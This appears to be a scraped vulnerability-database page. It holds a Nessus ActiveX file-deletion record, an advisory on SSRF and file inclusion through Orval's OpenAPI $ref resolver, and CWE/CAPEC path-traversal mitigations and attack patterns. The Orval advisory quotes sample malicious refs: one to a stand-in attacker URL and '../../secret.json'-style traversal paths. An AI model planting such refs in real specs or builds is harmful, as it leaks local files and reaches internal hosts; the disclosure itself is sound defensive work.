"affected": [],
"aliases": [
"CVE-2007-4062"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-07-30T17:30:00Z",
"severity": "HIGH"
},
"details": "The SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via unspecified vectors involving the deleteNessusRC method, probably a directory traversal vulnerability.",
"id": "GHSA-cxp3-m897-wfvf",
"modified": "2025-04-09T03:44:33Z",
"published": "2022-05-01T18:19:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4062"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35641"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26243"
},
{
"type": "WEB",
"url": "http://www.nessus.org/news"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25088"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CXQ5-97V7-87J8
Vulnerability from github – Published: 2026-09-02 14:54 – Updated: 2026-09-02 14:54Summary
Orval resolves OpenAPI $refs by fetching remote http(s) URLs and reading local files (including
absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running
orval on a spec whose $ref points at an attacker/internal URL or an arbitrary local file yields
SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class
from Orval's published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers
the $ref resolver.
Details
$ref: http://attacker/internal-evil.json#/...→ build host fetches (SSRF) and inlines the remote schema (RFI); confirmed propertyREMOTE_ORVAL_PROPin the generated client.$ref: /abs/path.json#/...or../../secret.json#/...→ out-of-tree local file read + inlined (LFI).
No RCE: on 8.19.0 the description JSDoc is escaped (*/->*\/, the published fix), so $ref content
cannot break out into code. The chain stops at SSRF + RFI + LFI.
Fix: don't resolve remote $refs by default (opt-in + host allowlist); confine local $ref
resolution to the input directory tree (reject absolute paths and ../ escapes).
PoC
reproduce.sh attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema
inlined). Verified on Orval 8.19.0.
Impact
Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "orval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62680"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-829",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:54:48Z",
"nvd_published_at": "2026-08-19T18:16:54Z",
"severity": "HIGH"
},
"details": "### Summary\n\nOrval resolves OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files (including\nabsolute / out-of-tree paths), inlining the referenced schema into the generated client. Running\n`orval` on a spec whose `$ref` points at an attacker/internal URL or an arbitrary local file yields\nSSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class\nfrom Orval\u0027s published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers\nthe `$ref` resolver.\n\n### Details\n\n- `$ref: http://attacker/internal-evil.json#/...` \u2192 build host fetches (SSRF) and inlines the remote\n schema (RFI); confirmed property `REMOTE_ORVAL_PROP` in the generated client.\n- `$ref: /abs/path.json#/...` or `../../secret.json#/...` \u2192 out-of-tree local file read + inlined (LFI).\n\nNo RCE: on 8.19.0 the description JSDoc is escaped (`*/`-\u003e`*\\/`, the published fix), so `$ref` content\ncannot break out into code. The chain stops at SSRF + RFI + LFI.\n\nFix: don\u0027t resolve remote `$ref`s by default (opt-in + host allowlist); confine local `$ref`\nresolution to the input directory tree (reject absolute paths and `../` escapes).\n\n### PoC\n\n`reproduce.sh` attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema\ninlined). Verified on Orval 8.19.0.\n\n### Impact\n\nBuild-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).",
"id": "GHSA-cxq5-97v7-87j8",
"modified": "2026-09-02T14:54:49Z",
"published": "2026-09-02T14:54:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/security/advisories/GHSA-cxq5-97v7-87j8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62680"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/pull/3692"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/pull/3723"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/commit/23786c056f4eba38c02bf2968677988dbbe4de10"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
},
{
"type": "PACKAGE",
"url": "https://github.com/orval-labs/orval"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/releases/tag/v8.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Orval: Generation-time SSRF + remote/local file inclusion via unrestricted $ref"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.